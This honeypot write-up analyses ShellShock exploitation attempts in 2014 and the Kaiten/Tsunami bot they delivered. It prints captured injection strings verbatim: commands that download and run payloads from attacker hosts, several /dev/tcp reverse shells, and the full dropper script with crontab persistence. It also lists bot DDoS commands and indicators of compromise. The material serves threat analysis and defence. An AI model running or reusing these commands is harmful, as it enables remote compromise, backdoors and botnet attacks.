ShellShock & Linux.Backdoor.Kaiten

At Infosecnirvana.com, we regularly investigate Security Threats so that we can help the larger community by sharing knowledge on all things Security. As part of the investigation efforts, we have deployed Honeypots in the wild. We will be posting a blog on this new journey we are embarking on.

Today, we got an alert from one of our Honeypots and surprisingly enough, we were surprised to see that it was a ShellShock call 🙂

This post is going to be very rudimentary, as we want to first get the information out to as many people as we can. We will be updating the post to make it more comprehensive as we closely track this “now big thing”

Here is the log alert we picked up:

28-09-2014 09:43:55,121.9.244.212,() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh",

Update: I got 2 more alerts in my Honeypot:

29-09-2014 07:43:08,
,67.227.0.73,() { :;}; /bin/bash -c "wget -P /var/tmp 174.143.240.43/.../x ; perl /var/tmp/x",

29-09-2014 09:30:11,54.251.83.67,() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a

So being curious, I looked up first to find out more about the IP – 121.9.244.212. A quick lookup pointed to “CHINANET-GD”. Now that we know about the IP, let’s look at the command requested:

() { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh

The command represents an attempt by the remote attacker to inject malicious and/or arbitrary code following a function definition to download a file called ‘SH’ to the /tmp directory.

The file ‘sh’ contains the following:

sandbox-mac:dump user$ cat regular.bot 
killall perl

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;
curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;
gcc -o /tmp/a /tmp/a.c;
/tmp/a;
rm -rf /tmp/a.c;
   
wget http://stablehost.us/bots/a -O /tmp/a;
curl -o /tmp/a http://stablehost.us/bots/a;
chmod +x /tmp/a;
/tmp/a;

wget http://stablehost.us/bots/darwin -O /tmp/d;
curl -o /tmp/d http://stablehost.us/bots/darwin;
chmod +x /tmp/d;
/tmp/d;

wget http://stablehost.us/bots/pl -O /tmp/pl;
curl -o /tmp/pl http://stablehost.us/bots/pl;
perl /tmp/pl;
rm /tmp/pl;

echo "@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
rm /tmp/c;

So, the file once downloaded, goes about doing a series of tasks.

• Download a  “.C” file and compile it using “gcc”.
  sandbox-mac:dump user$ md5 kaiten.c
  MD5 (kaiten.c) = e5807250e25da45e287afb2f1e4580d6
• Download 2 binary files:
  “a”   MD5 (a) = 7390a1e62a88eb80b5fae80c9eb00be7 – Backdoor.Linuz/Tsunami “darwin”  MD5 (d) = adacf1fa8cd7f77ae83ba38a99160bdb Backdoor:OSX/Tsunami.A
• Makes the downloaded files as executables and executes them.
• Next it brings down a Perl file (pl) and executes the perl file: sandbox-mac:dump user$ md5 pl MD5 (pl) = 0c25bee177101b4235022d694c0de4d3

The perl file, basically checks for other vulnerabilities, does port scanning, checks news from packet storm, Installs Socks5, does nmap, sql scanner, checks if the box is root-able, opens up IRC channels, does TCP/UDP/Http Floods based on commands received from the Master server,  performs Scanning activity to domains like, MSN,  AlltheWeb, Ask, AOL, Lycos, Yahoo, etc.

The commands used for above are:

# !bot @multiscan  
# !bot @socks5
# !bot @sql2  

# !bot @portscan 
# !bot @logcleaner
# !bot @sendmail    
# !bot @system
# !bot @cleartmp
# !bot @rootable
# !bot @nmap   
# !bot @back   
# !bot @linuxhelp
# !bot @cd tmp:. | for example
#-----[Advisory-New Based]-----
# !bot @packetstorm
# !bot @milw0rm
#-----[DDos Based]-----
# !bot @udpflood   
# !bot @tcpflood    
# !bot @httpflood  
# !bot @sqlflood  
#-----[IRC Based]-----
# !bot @killme  
# !bot @join #channel
# !bot @part #channel
# !bot @reset
# !bot @voice 
# !bot @owner 
# !bot @deowner 
# !bot @devoice 
# !bot @halfop 
# !bot @dehalfop 
# !bot @op 
# !bot @deop 
#-----[Flooding Based]-----
# !bot @msgflood 
# !bot @dccflood 
# !bot @ctcpflood 
# !bot @noticeflood 
# !bot @channelflood
# !bot @maxiflood 

IRC Names:

"telnet","putty","cgi-bin","bash","tmp","var","omset","dat","chynthe","bed"

And to top it all, the bot updates itself on a weekly basis using crontab.

Now, let’s look at the domain “stablehost.us” (Update: The website has been taken down shortly after this article was posted)

Stablehost.us is registered to a gentleman in the US since Mar-16-2010.  It runs Apache server on Ubuntu OS.

sandbox-mac:dump user$ curl -I stablehost.us

HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:33:15 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sat, 27 Sep 2014 19:57:07 GMT
ETag: "0-50411703b49e2"
Accept-Ranges: bytes
Content-Type: text/html

At the time of writing this article, the website is empty, probably with a blank index page (200 OK). The directory that serves the bots is also probably having a blank index page.

sandbox-mac:dump user$ curl -I http://stablehost.us/bots/
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:38:23 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.4
Content-Type: text/html

According to way-back machine, there are/were only 3 edits/snapshots in the entirety of the domain life.

Wayback Machine Results

2 Blank page updates on March 1, 2011 & Aug 27, 2011 and 1 Apache test page on Jan 10, 2014.

Here is where it gets more interesting. I can confirm that this domain was purely used for bot activity.

According to the way back machine March 1, 2011 we can see the bot directory in there with the perl file and the regular.bot file

Wayback Machine Bot directory Results

After a new bot addition

More Patterns:

We have 1 more pattern:

121.9.244.212 – CHINANET
ShellShock Command: () { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”

In addition to these:

67.229.128.88 – Krypt Technologies (US)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/67.229.128.88/9527 0<&1 2>&1

153.121.58.243 – Sakura Internet (Japan)
Shellshock Comand: () { :; }; /bin/bash -i >& /dev/tcp/153.121.58.243/443 0>&1

82.99.57.32 – Datasmeden (Sweden)
Shellshock Commands:
() { :;}; /bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443”
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1”

114.96.140.114 – Chinanet Anhui Province Network (China)
Shellshock Command: () { :; }; /usr/bin/bash -i >& /dev/tcp/114.96.140.114/6032 0>&1

113.10.223.171 – NWT iDC Data Service (Hong Kong)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/113.10.223.171/8080 0<&1 2>&1

Indicators of Compromise:

Some Indicators that we can look for in our web/proxy logs:

IP addresses:

• 121.9.244.212 (ISP)
• 89.33.193.10 (PERL BOT)
• 142.4.215.115 ( { :;}; /bin/bash -c \”cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\”)
• 67.227.0.73
• 174.143.240.43
• 54.251.83.67
• 142.0.41.57
• 153.121.58.243
• 67.229.128.88
• 82.99.57.32
• 114.96.140.114
• 113.10.223.171
• 104.192.103.6
• 72.167.37.182
• 37.187.225.119
• 195.225.34.101
• 202.137.176.146
• 204.232.241.139
• 46.161.41.142
• 81.18.135.38
• 94.102.52.10
• 82.118.242.223
• 201.205.255.56
• 83.96.168.161
• 199.27.89.22
• 5.135.127.38
• 103.28.36.123
• 82.80.195.86
• 194.54.9.11
• 173.45.100.18
• 192.227.213.66
• 70.42.149.72
• 75.127.84.182

Web Requests: (some of the hard-coded urls in the perl file)

• http://stablehost.us
• http://singlesaints.com
• http://search.hotbot.de/cgi-bin/pursuit?pag=<some_val>&query=”
• http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
• http://www.mozbot.fr/search?q=
• http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=
• http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
• http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
• http://busca.uol.com.br/www/index.html?q=
• http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=

Recommendations:

Please visit Identifying and Fixing Bash Vulnerability for details about testing and fixing this vulnerability